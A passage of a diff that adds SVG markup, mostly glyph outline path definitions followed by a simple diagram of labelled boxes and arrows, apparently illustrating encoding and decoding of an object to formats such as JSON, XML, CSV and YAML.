11.988281 -18.875 12.929688 -18.632812 13.890625 -18.3125 Z M 13.890625 -18.3125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-11">
+<path style="stroke:none;" d="M 10.234375 -17.1875 C 8.367188 -17.1875 6.890625 -16.492188 5.796875 -15.109375 C 4.703125 -13.722656 4.15625 -11.835938 4.15625 -9.453125 C 4.15625 -7.066406 4.703125 -5.179688 5.796875 -3.796875 C 6.890625 -2.410156 8.367188 -1.71875 10.234375 -1.71875 C 12.085938 -1.71875 13.554688 -2.410156 14.640625 -3.796875 C 15.734375 -5.179688 16.28125 -7.066406 16.28125 -9.453125 C 16.28125 -11.835938 15.734375 -13.722656 14.640625 -15.109375 C 13.554688 -16.492188 12.085938 -17.1875 10.234375 -17.1875 Z M 10.234375 -19.28125 C 12.890625 -19.28125 15.007812 -18.390625 16.59375 -16.609375 C 18.1875 -14.828125 18.984375 -12.441406 18.984375 -9.453125 C 18.984375 -6.460938 18.1875 -4.078125 16.59375 -2.296875 C 15.007812 -0.515625 12.890625 0.375 10.234375 0.375 C 7.566406 0.375 5.4375 -0.507812 3.84375 -2.28125 C 2.25 -4.0625 1.453125 -6.453125 1.453125 -9.453125 C 1.453125 -12.441406 2.25 -14.828125 3.84375 -16.609375 C 5.4375 -18.390625 7.566406 -19.28125 10.234375 -19.28125 Z M 10.234375 -19.28125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-12">
+<path style="stroke:none;" d="M 2.546875 -18.9375 L 6 -18.9375 L 14.390625 -3.09375 L 14.390625 -18.9375 L 16.875 -18.9375 L 16.875 0 L 13.421875 0 L 5.03125 -15.84375 L 5.03125 0 L 2.546875 0 Z M 2.546875 -18.9375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-13">
+<path style="stroke:none;" d="M 3.046875 -3.21875 L 5.71875 -3.21875 L 5.71875 -1.046875 L 3.640625 3.015625 L 2 3.015625 L 3.046875 -1.046875 Z M 3.046875 -3.21875 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-14">
+<path style="stroke:none;" d="M 1.640625 -18.9375 L 4.390625 -18.9375 L 9.09375 -11.890625 L 13.828125 -18.9375 L 16.578125 -18.9375 L 10.484375 -9.84375 L 16.984375 0 L 14.234375 0 L 8.90625 -8.046875 L 3.53125 0 L 0.78125 0 L 7.53125 -10.109375 Z M 1.640625 -18.9375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-15">
+<path style="stroke:none;" d="M 2.546875 -18.9375 L 6.359375 -18.9375 L 11.203125 -6.046875 L 16.046875 -18.9375 L 19.875 -18.9375 L 19.875 0 L 17.375 0 L 17.375 -16.625 L 12.484375 -3.640625 L 9.921875 -3.640625 L 5.03125 -16.625 L 5.03125 0 L 2.546875 0 Z M 2.546875 -18.9375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-16">
+<path style="stroke:none;" d="M 2.546875 -18.9375 L 5.109375 -18.9375 L 5.109375 -2.15625 L 14.328125 -2.15625 L 14.328125 0 L 2.546875 0 Z M 2.546875 -18.9375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-17">
+<path style="stroke:none;" d="M 16.71875 -17.46875 L 16.71875 -14.765625 C 15.863281 -15.578125 14.945312 -16.179688 13.96875 -16.578125 C 12.988281 -16.972656 11.953125 -17.171875 10.859375 -17.171875 C 8.691406 -17.171875 7.03125 -16.507812 5.875 -15.1875 C 4.726562 -13.863281 4.15625 -11.953125 4.15625 -9.453125 C 4.15625 -6.953125 4.726562 -5.039062 5.875 -3.71875 C 7.03125 -2.394531 8.691406 -1.734375 10.859375 -1.734375 C 11.953125 -1.734375 12.988281 -1.929688 13.96875 -2.328125 C 14.945312 -2.722656 15.863281 -3.328125 16.71875 -4.140625 L 16.71875 -1.453125 C 15.820312 -0.847656 14.875 -0.390625 13.875 -0.078125 C 12.875 0.222656 11.816406 0.375 10.703125 0.375 C 7.835938 0.375 5.578125 -0.5 3.921875 -2.25 C 2.273438 -4.007812 1.453125 -6.410156 1.453125 -9.453125 C 1.453125 -12.492188 2.273438 -14.890625 3.921875 -16.640625 C 5.578125 -18.398438 7.835938 -19.28125 10.703125 -19.28125 C 11.835938 -19.28125 12.90625 -19.128906 13.90625 -18.828125 C 14.90625 -18.523438 15.84375 -18.070312 16.71875 -17.46875 Z M 16.71875 -17.46875 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-18">
+<path style="stroke:none;" d="M 7.4375 0 L 0.203125 -18.9375 L 2.875 -18.9375 L 8.875 -3 L 14.890625 -18.9375 L 17.546875 -18.9375 L 10.328125 0 Z M 7.4375 0 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-19">
+<path style="stroke:none;" d="M -0.046875 -18.9375 L 2.703125 -18.9375 L 7.953125 -11.140625 L 13.15625 -18.9375 L 15.90625 -18.9375 L 9.21875 -9.015625 L 9.21875 0 L 6.640625 0 L 6.640625 -9.015625 Z M -0.046875 -18.9375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-20">
+<path style="stroke:none;" d="M 8.875 -16.40625 L 5.40625 -6.984375 L 12.359375 -6.984375 Z M 7.4375 -18.9375 L 10.328125 -18.9375 L 17.546875 0 L 14.890625 0 L 13.15625 -4.859375 L 4.625 -4.859375 L 2.90625 0 L 0.203125 0 Z M 7.4375 -18.9375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-21">
+<path style="stroke:none;" d="M 2.078125 -19.703125 L 4.109375 -19.703125 C 5.378906 -17.710938 6.328125 -15.757812 6.953125 -13.84375 C 7.585938 -11.9375 7.90625 -10.039062 7.90625 -8.15625 C 7.90625 -6.257812 7.585938 -4.351562 6.953125 -2.4375 C 6.328125 -0.519531 5.378906 1.429688 4.109375 3.421875 L 2.078125 3.421875 C 3.203125 1.484375 4.039062 -0.4375 4.59375 -2.34375 C 5.144531 -4.257812 5.421875 -6.195312 5.421875 -8.15625 C 5.421875 -10.101562 5.144531 -12.023438 4.59375 -13.921875 C 4.039062 -15.828125 3.203125 -17.753906 2.078125 -19.703125 Z M 2.078125 -19.703125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-22">
+<path style="stroke:none;" d="M 12.640625 -7.09375 C 12.640625 -8.800781 12.285156 -10.144531 11.578125 -11.125 C 10.878906 -12.101562 9.910156 -12.59375 8.671875 -12.59375 C 7.441406 -12.59375 6.472656 -12.101562 5.765625 -11.125 C 5.054688 -10.144531 4.703125 -8.800781 4.703125 -7.09375 C 4.703125 -5.375 5.054688 -4.023438 5.765625 -3.046875 C 6.472656 -2.066406 7.441406 -1.578125 8.671875 -1.578125 C 9.910156 -1.578125 10.878906 -2.066406 11.578125 -3.046875 C 12.285156 -4.023438 12.640625 -5.375 12.640625 -7.09375 Z M 4.703125 -12.046875 C 5.191406 -12.890625 5.8125 -13.515625 6.5625 -13.921875 C 7.3125 -14.335938 8.207031 -14.546875 9.25 -14.546875 C 10.96875 -14.546875 12.363281 -13.859375 13.4375 -12.484375 C 14.519531 -11.117188 15.0625 -9.320312 15.0625 -7.09375 C 15.0625 -4.851562 14.519531 -3.046875 13.4375 -1.671875 C 12.363281 -0.304688 10.96875 0.375 9.25 0.375 C 8.207031 0.375 7.3125 0.171875 6.5625 -0.234375 C 5.8125 -0.648438 5.191406 -1.28125 4.703125 -2.125 L 4.703125 0 L 2.359375 0 L 2.359375 -19.734375 L 4.703125 -19.734375 Z M 4.703125 -12.046875 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-23">
+<path style="stroke:none;" d="M 2.453125 -14.203125 L 4.78125 -14.203125 L 4.78125 0.25 C 4.78125 2.0625 4.4375 3.375 3.75 4.1875 C 3.0625 5 1.953125 5.40625 0.421875 5.40625 L -0.46875 5.40625 L -0.46875 3.421875 L 0.15625 3.421875 C 1.039062 3.421875 1.644531 3.210938 1.96875 2.796875 C 2.289062 2.390625 2.453125 1.539062 2.453125 0.25 Z M 2.453125 -19.734375 L 4.78125 -19.734375 L 4.78125 -16.78125 L 2.453125 -16.78125 Z M 2.453125 -19.734375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-24">
+<path style="stroke:none;" d="M 14.59375 -7.6875 L 14.59375 -6.546875 L 3.875 -6.546875 C 3.96875 -4.941406 4.445312 -3.71875 5.3125 -2.875 C 6.1875 -2.03125 7.394531 -1.609375 8.9375 -1.609375 C 9.832031 -1.609375 10.703125 -1.71875 11.546875 -1.9375 C 12.390625 -2.15625 13.222656 -2.484375 14.046875 -2.921875 L 14.046875 -0.71875 C 13.210938 -0.363281 12.351562 -0.09375 11.46875 0.09375 C 10.59375 0.28125 9.703125 0.375 8.796875 0.375 C 6.535156 0.375 4.742188 -0.285156 3.421875 -1.609375 C 2.097656 -2.929688 1.4375 -4.71875 1.4375 -6.96875 C 1.4375 -9.289062 2.0625 -11.132812 3.3125 -12.5 C 4.570312 -13.863281 6.265625 -14.546875 8.390625 -14.546875 C 10.304688 -14.546875 11.816406 -13.929688 12.921875 -12.703125 C 14.035156 -11.472656 14.59375 -9.800781 14.59375 -7.6875 Z M 12.265625 -8.375 C 12.242188 -9.644531 11.882812 -10.660156 11.1875 -11.421875 C 10.488281 -12.179688 9.566406 -12.5625 8.421875 -12.5625 C 7.117188 -12.5625 6.078125 -12.191406 5.296875 -11.453125 C 4.515625 -10.722656 4.0625 -9.691406 3.9375 -8.359375 Z M 12.265625 -8.375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-25">
+<path style="stroke:none;" d="M 12.671875 -13.65625 L 12.671875 -11.46875 C 12.003906 -11.832031 11.335938 -12.101562 10.671875 -12.28125 C 10.015625 -12.46875 9.347656 -12.5625 8.671875 -12.5625 C 7.160156 -12.5625 5.984375 -12.082031 5.140625 -11.125 C 4.304688 -10.164062 3.890625 -8.820312 3.890625 -7.09375 C 3.890625 -5.351562 4.304688 -4.003906 5.140625 -3.046875 C 5.984375 -2.085938 7.160156 -1.609375 8.671875 -1.609375 C 9.347656 -1.609375 10.015625 -1.695312 10.671875 -1.875 C 11.335938 -2.0625 12.003906 -2.335938 12.671875 -2.703125 L 12.671875 -0.546875 C 12.015625 -0.242188 11.335938 -0.015625 10.640625 0.140625 C 9.941406 0.296875 9.203125 0.375 8.421875 0.375 C 6.285156 0.375 4.585938 -0.296875 3.328125 -1.640625 C 2.066406 -2.992188 1.4375 -4.8125 1.4375 -7.09375 C 1.4375 -9.40625 2.070312 -11.222656 3.34375 -12.546875 C 4.613281 -13.878906 6.359375 -14.546875 8.578125 -14.546875 C 9.296875 -14.546875 9.992188 -14.46875 10.671875 -14.3125 C 11.359375 -14.164062 12.023438 -13.945312 12.671875 -13.65625 Z M 12.671875 -13.65625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph2-0">
+<path style="stroke:none;" d="M 0.90625 3.1875 L 0.90625 -12.734375 L 9.9375 -12.734375 L 9.9375 3.1875 Z M 1.90625 2.1875 L 8.921875 2.1875 L 8.921875 -11.71875 L 1.90625 -11.71875 Z M 1.90625 2.1875 "/>
+</symbol>
+<symbol overflow="visible" id="glyph2-1">
+<path style="stroke:none;" d="M 10.15625 -5.34375 L 10.15625 -4.546875 L 2.6875 -4.546875 C 2.757812 -3.429688 3.097656 -2.582031 3.703125 -2 C 4.304688 -1.414062 5.144531 -1.125 6.21875 -1.125 C 6.84375 -1.125 7.445312 -1.195312 8.03125 -1.34375 C 8.613281 -1.5 9.191406 -1.726562 9.765625 -2.03125 L 9.765625 -0.5 C 9.191406 -0.25 8.597656 -0.0625 7.984375 0.0625 C 7.367188 0.1875 6.75 0.25 6.125 0.25 C 4.539062 0.25 3.289062 -0.207031 2.375 -1.125 C 1.457031 -2.039062 1 -3.28125 1 -4.84375 C 1 -6.457031 1.429688 -7.738281 2.296875 -8.6875 C 3.171875 -9.632812 4.351562 -10.109375 5.84375 -10.109375 C 7.164062 -10.109375 8.210938 -9.679688 8.984375 -8.828125 C 9.765625 -7.972656 10.15625 -6.8125 10.15625 -5.34375 Z M 8.53125 -5.828125 C 8.519531 -6.710938 8.269531 -7.414062 7.78125 -7.9375 C 7.300781 -8.46875 6.660156 -8.734375 5.859375 -8.734375 C 4.953125 -8.734375 4.222656 -8.476562 3.671875 -7.96875 C 3.128906 -7.457031 2.820312 -6.738281 2.75 -5.8125 Z M 8.53125 -5.828125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph2-2">
+<path style="stroke:none;" d="M 9.90625 -5.96875 L 9.90625 0 L 8.296875 0 L 8.296875 -5.90625 C 8.296875 -6.84375 8.113281 -7.539062 7.75 -8 C 7.382812 -8.46875 6.835938 -8.703125 6.109375 -8.703125 C 5.222656 -8.703125 4.523438 -8.421875 4.015625 -7.859375 C 3.515625 -7.304688 3.265625 -6.546875 3.265625 -5.578125 L 3.265625 0 L 1.640625 0 L 1.640625 -9.875 L 3.265625 -9.875 L 3.265625 -8.34375 C 3.660156 -8.9375 4.117188 -9.378906 4.640625 -9.671875 C 5.171875 -9.960938 5.78125 -10.109375 6.46875 -10.109375 C 7.601562 -10.109375 8.457031 -9.757812 9.03125 -9.0625 C 9.613281 -8.363281 9.90625 -7.332031 9.90625 -5.96875 Z M 9.90625 -5.96875 "/>
+</symbol>
+<symbol overflow="visible" id="glyph2-3">
+<path style="stroke:none;" d="M 8.8125 -9.5 L 8.8125 -7.984375 C 8.351562 -8.234375 7.890625 -8.421875 7.421875 -8.546875 C 6.960938 -8.671875 6.5 -8.734375 6.03125 -8.734375 C 4.976562 -8.734375 4.160156 -8.398438 3.578125 -7.734375 C 2.992188 -7.066406 2.703125 -6.132812 2.703125 -4.9375 C 2.703125 -3.726562 2.992188 -2.789062 3.578125 -2.125 C 4.160156 -1.457031 4.976562 -1.125 6.03125 -1.125 C 6.5 -1.125 6.960938 -1.1875 7.421875 -1.3125 C 7.890625 -1.4375 8.351562 -1.625 8.8125 -1.875 L 8.8125 -0.375 C 8.351562 -0.164062 7.878906 -0.0078125 7.390625 0.09375 C 6.910156 0.195312 6.398438 0.25 5.859375 0.25 C 4.367188 0.25 3.1875 -0.210938 2.3125 -1.140625 C 1.4375 -2.078125 1 -3.34375 1 -4.9375 C 1 -6.539062 1.441406 -7.800781 2.328125 -8.71875 C 3.210938 -9.644531 4.425781 -10.109375 5.96875 -10.109375 C 6.46875 -10.109375 6.953125 -10.054688 7.421875 -9.953125 C 7.898438 -9.859375 8.363281 -9.707031 8.8125 -9.5 Z M 8.8125 -9.5 "/>
+</symbol>
+<symbol overflow="visible" id="glyph2-4">
+<path style="stroke:none;" d="M 5.53125 -8.734375 C 4.65625 -8.734375 3.960938 -8.394531 3.453125 -7.71875 C 2.953125 -7.039062 2.703125 -6.113281 2.703125 -4.9375 C 2.703125 -3.75 2.953125 -2.816406 3.453125 -2.140625 C 3.960938 -1.460938 4.65625 -1.125 5.53125 -1.125 C 6.394531 -1.125 7.078125 -1.460938 7.578125 -2.140625 C 8.085938 -2.828125 8.34375 -3.757812 8.34375 -4.9375 C 8.34375 -6.101562 8.085938 -7.023438 7.578125 -7.703125 C 7.078125 -8.390625 6.394531 -8.734375 5.53125 -8.734375 Z M 5.53125 -10.109375 C 6.9375 -10.109375 8.039062 -9.648438 8.84375 -8.734375 C 9.65625 -7.816406 10.0625 -6.550781 10.0625 -4.9375 C 10.0625 -3.3125 9.65625 -2.039062 8.84375 -1.125 C 8.039062 -0.207031 6.9375 0.25 5.53125 0.25 C 4.113281 0.25 3.003906 -0.207031 2.203125 -1.125 C 1.398438 -2.039062 1 -3.3125 1 -4.9375 C 1 -6.550781 1.398438 -7.816406 2.203125 -8.734375 C 3.003906 -9.648438 4.113281 -10.109375 5.53125 -10.109375 Z M 5.53125 -10.109375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph2-5">
+<path style="stroke:none;" d="M 8.203125 -8.375 L 8.203125 -13.71875 L 9.828125 -13.71875 L 9.828125 0 L 8.203125 0 L 8.203125 -1.484375 C 7.859375 -0.890625 7.425781 -0.453125 6.90625 -0.171875 C 6.382812 0.109375 5.757812 0.25 5.03125 0.25 C 3.84375 0.25 2.875 -0.222656 2.125 -1.171875 C 1.375 -2.128906 1 -3.382812 1 -4.9375 C 1 -6.488281 1.375 -7.738281 2.125 -8.6875 C 2.875 -9.632812 3.84375 -10.109375 5.03125 -10.109375 C 5.757812 -10.109375 6.382812 -9.96875 6.90625 -9.6875 C 7.425781 -9.40625 7.859375 -8.96875 8.203125 -8.375 Z M 2.671875 -4.9375 C 2.671875 -3.738281 2.914062 -2.800781 3.40625 -2.125 C 3.894531 -1.445312 4.570312 -1.109375 5.4375 -1.109375 C 6.289062 -1.109375 6.960938 -1.445312 7.453125 -2.125 C 7.953125 -2.800781 8.203125 -3.738281 8.203125 -4.9375 C 8.203125 -6.125 7.953125 -7.054688 7.453125 -7.734375 C 6.960938 -8.421875 6.289062 -8.765625 5.4375 -8.765625 C 4.570312 -8.765625 3.894531 -8.421875 3.40625 -7.734375 C 2.914062 -7.054688 2.671875 -6.125 2.671875 -4.9375 Z M 2.671875 -4.9375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph2-6">
+<path style="stroke:none;" d="M 7.421875 -8.359375 C 7.242188 -8.460938 7.046875 -8.539062 6.828125 -8.59375 C 6.617188 -8.644531 6.382812 -8.671875 6.125 -8.671875 C 5.207031 -8.671875 4.5 -8.367188 4 -7.765625 C 3.507812 -7.171875 3.265625 -6.316406 3.265625 -5.203125 L 3.265625 0 L 1.640625 0 L 1.640625 -9.875 L 3.265625 -9.875 L 3.265625 -8.34375 C 3.609375 -8.945312 4.050781 -9.390625 4.59375 -9.671875 C 5.144531 -9.960938 5.8125 -10.109375 6.59375 -10.109375 C 6.707031 -10.109375 6.832031 -10.101562 6.96875 -10.09375 C 7.101562 -10.082031 7.253906 -10.0625 7.421875 -10.03125 Z M 7.421875 -8.359375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph2-7">
+<path style="stroke:none;" d="M 9.390625 -7.984375 C 9.796875 -8.710938 10.28125 -9.25 10.84375 -9.59375 C 11.40625 -9.9375 12.070312 -10.109375 12.84375 -10.109375 C 13.875 -10.109375 14.664062 -9.75 15.21875 -9.03125 C 15.78125 -8.3125 16.0625 -7.289062 16.0625 -5.96875 L 16.0625 0 L 14.421875 0 L 14.421875 -5.90625 C 14.421875 -6.851562 14.253906 -7.554688 13.921875 -8.015625 C 13.585938 -8.472656 13.078125 -8.703125 12.390625 -8.703125 C 11.546875 -8.703125 10.878906 -8.421875 10.390625 -7.859375 C 9.910156 -7.304688 9.671875 -6.546875 9.671875 -5.578125 L 9.671875 0 L 8.03125 0 L 8.03125 -5.90625 C 8.03125 -6.863281 7.863281 -7.566406 7.53125 -8.015625 C 7.195312 -8.472656 6.679688 -8.703125 5.984375 -8.703125 C 5.148438 -8.703125 4.488281 -8.421875 4 -7.859375 C 3.507812 -7.296875 3.265625 -6.535156 3.265625 -5.578125 L 3.265625 0 L 1.640625 0 L 1.640625 -9.875 L 3.265625 -9.875 L 3.265625 -8.34375 C 3.640625 -8.945312 4.082031 -9.390625 4.59375 -9.671875 C 5.113281 -9.960938 5.734375 -10.109375 6.453125 -10.109375 C 7.160156 -10.109375 7.765625 -9.925781 8.265625 -9.5625 C 8.773438 -9.195312 9.148438 -8.671875 9.390625 -7.984375 Z M 9.390625 -7.984375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph2-8">
+<path style="stroke:none;" d="M 6.1875 -4.96875 C 4.875 -4.96875 3.960938 -4.816406 3.453125 -4.515625 C 2.953125 -4.210938 2.703125 -3.703125 2.703125 -2.984375 C 2.703125 -2.398438 2.890625 -1.941406 3.265625 -1.609375 C 3.648438 -1.273438 4.171875 -1.109375 4.828125 -1.109375 C 5.722656 -1.109375 6.441406 -1.425781 6.984375 -2.0625 C 7.535156 -2.695312 7.8125 -3.546875 7.8125 -4.609375 L 7.8125 -4.96875 Z M 9.421875 -5.640625 L 9.421875 0 L 7.8125 0 L 7.8125 -1.5 C 7.4375 -0.894531 6.972656 -0.453125 6.421875 -0.171875 C 5.867188 0.109375 5.191406 0.25 4.390625 0.25 C 3.378906 0.25 2.570312 -0.03125 1.96875 -0.59375 C 1.375 -1.164062 1.078125 -1.925781 1.078125 -2.875 C 1.078125 -3.988281 1.445312 -4.828125 2.1875 -5.390625 C 2.9375 -5.953125 4.050781 -6.234375 5.53125 -6.234375 L 7.8125 -6.234375 L 7.8125 -6.390625 C 7.8125 -7.140625 7.5625 -7.71875 7.0625 -8.125 C 6.570312 -8.53125 5.882812 -8.734375 5 -8.734375 C 4.4375 -8.734375 3.882812 -8.664062 3.34375 -8.53125 C 2.8125 -8.394531 2.300781 -8.191406 1.8125 -7.921875 L 1.8125 -9.421875 C 2.40625 -9.648438 2.976562 -9.820312 3.53125 -9.9375 C 4.09375 -10.050781 4.640625 -10.109375 5.171875 -10.109375 C 6.597656 -10.109375 7.660156 -9.738281 8.359375 -9 C 9.066406 -8.257812 9.421875 -7.140625 9.421875 -5.640625 Z M 9.421875 -5.640625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph2-9">
+<path style="stroke:none;" d="M 1.703125 -13.71875 L 3.328125 -13.71875 L 3.328125 0 L 1.703125 0 Z M 1.703125 -13.71875 "/>
+</symbol>
+<symbol overflow="visible" id="glyph2-10">
+<path style="stroke:none;" d="M 1.703125 -9.875 L 3.328125 -9.875 L 3.328125 0 L 1.703125 0 Z M 1.703125 -13.71875 L 3.328125 -13.71875 L 3.328125 -11.671875 L 1.703125 -11.671875 Z M 1.703125 -13.71875 "/>
+</symbol>
+<symbol overflow="visible" id="glyph2-11">
+<path style="stroke:none;" d="M 1 -9.875 L 8.703125 -9.875 L 8.703125 -8.390625 L 2.609375 -1.296875 L 8.703125 -1.296875 L 8.703125 0 L 0.78125 0 L 0.78125 -1.484375 L 6.875 -8.578125 L 1 -8.578125 Z M 1 -9.875 "/>
+</symbol>
+</g>
+</defs>
+<g id="surface34785">
+<rect x="0" y="0" width="498" height="404" style="fill:rgb(100%,100%,100%);fill-opacity:1;stroke:none;"/>
+<path style="fill-rule:evenodd;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(100%,100%,100%);stroke-opacity:1;stroke-miterlimit:10;" d="M 29.500067 21.6021 L 54.000067 21.6021 L 54.000067 41.6021 L 29.500067 41.6021 Z M 29.500067 21.6021 " transform="matrix(20,0,0,20,-583.974,-430.042)"/>
+<path style="fill-rule:evenodd;fill:rgb(99.215686%,87.450981%,73.333335%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 38.300067 30.09253 C 38.134247 30.09253 38.000067 30.226905 38.000067 30.39253 L 38.000067 32.79253 C 38.000067 32.95835 38.134247 33.09253 38.300067 33.09253 L 45.700067 33.09253 C 45.865692 33.09253 46.000067 32.95835 46.000067 32.79253 L 46.000067 30.39253 C 46.000067 30.226905 45.865692 30.09253 45.700067 30.09253 Z M 38.300067 30.09253 " transform="matrix(20,0,0,20,-583.974,-430.042)"/>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph0-1" x="228.683594" y="207.986762"/>
+  <use xlink:href="#glyph0-2" x="242.572483" y="207.986762"/>
+  <use xlink:href="#glyph0-2" x="250.628038" y="207.986762"/>
+  <use xlink:href="#glyph0-3" x="258.961372" y="207.986762"/>
+  <use xlink:href="#glyph0-4" x="271.461372" y="207.986762"/>
+</g>
+<path style="fill-rule:evenodd;fill:rgb(94.901961%,94.901961%,94.901961%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 31.550067 36.999952 C 31.384247 36.999952 31.250067 37.134327 31.250067 37.299952 L 31.250067 39.885303 C 31.250067 40.050928 31.384247 40.185303 31.550067 40.185303 L 52.450067 40.185303 C 52.615692 40.185303 52.750067 40.050928 52.750067 39.885303 L 52.750067 37.299952 C 52.750067 37.134327 52.615692 36.999952 52.450067 36.999952 Z M 31.550067 36.999952 " transform="matrix(20,0,0,20,-583.974,-430.042)"/>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-1" x="51.320313" y="349.702854"/>
+  <use xlink:href="#glyph1-2" x="65.209201" y="349.702854"/>
+  <use xlink:href="#glyph1-3" x="81.042535" y="349.702854"/>
+  <use xlink:href="#glyph1-4" x="91.320313" y="349.702854"/>
+  <use xlink:href="#glyph1-5" x="116.59809" y="349.702854"/>
+  <use xlink:href="#glyph1-6" x="132.431424" y="349.702854"/>
+  <use xlink:href="#glyph1-7" x="142.709201" y="349.702854"/>
+  <use xlink:href="#glyph1-8" x="151.042535" y="349.702854"/>
+  <use xlink:href="#glyph1-9" x="161.042535" y="349.702854"/>
+  <use xlink:href="#glyph1-10" x="168.820313" y="349.702854"/>
+  <use xlink:href="#glyph1-11" x="185.209201" y="349.702854"/>
+  <use xlink:href="#glyph1-12" x="205.764757" y="349.702854"/>
+  <use xlink:href="#glyph1-13" x="225.209201" y="349.702854"/>
+  <use xlink:href="#glyph1-7" x="233.542535" y="349.702854"/>
+  <use xlink:href="#glyph1-14" x="241.875868" y="349.702854"/>
+  <use xlink:href="#glyph1-15" x="259.653646" y="349.702854"/>
+  <use xlink:href="#glyph1-16" x="282.153646" y="349.702854"/>
+  <use xlink:href="#glyph1-13" x="296.59809" y="349.702854"/>
+  <use xlink:href="#glyph1-7" x="304.931424" y="349.702854"/>
+  <use xlink:href="#glyph1-17" x="313.264757" y="349.702854"/>
+  <use xlink:href="#glyph1-10" x="331.320313" y="349.702854"/>
+  <use xlink:href="#glyph1-18" x="347.709201" y="349.702854"/>
+  <use xlink:href="#glyph1-13" x="365.486979" y="349.702854"/>
+  <use xlink:href="#glyph1-7" x="373.820313" y="349.702854"/>
+  <use xlink:href="#glyph1-19" x="382.153646" y="349.702854"/>
+  <use xlink:href="#glyph1-20" x="396.042535" y="349.702854"/>
+  <use xlink:href="#glyph1-15" x="413.820313" y="349.702854"/>
+  <use xlink:href="#glyph1-16" x="436.320313" y="349.702854"/>
+  <use xlink:href="#glyph1-21" x="450.764757" y="349.702854"/>
+</g>
+<path style="fill:none;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 41.018817 33.981397 L 41.018817 36.523975 " transform="matrix(20,0,0,20,-583.974,-430.042)"/>
+<path style="fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 41.268817 33.981397 L 41.018817 33.481397 L 40.768817 33.981397 Z M 41.268817 33.981397 " transform="matrix(20,0,0,20,-583.974,-430.042)"/>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph2-1" x="286.210938" y="254.496419"/>
+  <use xlink:href="#glyph2-2" x="297.322049" y="254.496419"/>
+  <use xlink:href="#glyph2-3" x="308.710938" y="254.496419"/>
+  <use xlink:href="#glyph2-4" x="318.710938" y="254.496419"/>
+  <use xlink:href="#glyph2-5" x="329.822049" y="254.496419"/>
+  <use xlink:href="#glyph2-1" x="341.210938" y="254.496419"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph2-5" x="167.328125" y="294.496419"/>
+  <use xlink:href="#glyph2-1" x="178.717014" y="294.496419"/>
+  <use xlink:href="#glyph2-3" x="189.828125" y="294.496419"/>
+  <use xlink:href="#glyph2-4" x="199.828125" y="294.496419"/>
+  <use xlink:href="#glyph2-5" x="210.939236" y="294.496419"/>
+  <use xlink:href="#glyph2-1" x="222.328125" y="294.496419"/>
+</g>
+<path style="fill:none;stroke-width:0.2;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 34.964325 27.157373 L 34.953778 36.597608 " transform="matrix(20,0,0,20,-583.974,-430.042)"/>
+<path style="fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;stroke-width:0.2;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 35.214325 27.157764 L 34.964911 26.657373 L 34.714325 27.157178 Z M 35.214325 27.157764 " transform="matrix(20,0,0,20,-583.974,-430.042)"/>
+<path style="fill-rule:evenodd;fill:rgb(94.901961%,94.901961%,94.901961%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 31.550067 22.999952 C 31.384247 22.999952 31.250067 23.134327 31.250067 23.299952 L 31.250067 25.885303 C 31.250067 26.050928 31.384247 26.185303 31.550067 26.185303 L 52.450067 26.185303 C 52.615692 26.185303 52.750067 26.050928 52.750067 25.885303 L 52.750067 23.299952 C 52.750067 23.134327 52.615692 22.999952 52.450067 22.999952 Z M 31.550067 22.999952 " transform="matrix(20,0,0,20,-583.974,-430.042)"/>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-11" x="213.683594" y="69.702854"/>
+  <use xlink:href="#glyph1-22" x="234.239149" y="69.702854"/>
+  <use xlink:href="#glyph1-23" x="250.628038" y="69.702854"/>
+  <use xlink:href="#glyph1-24" x="257.85026" y="69.702854"/>
+  <use xlink:href="#glyph1-25" x="273.961372" y="69.702854"/>
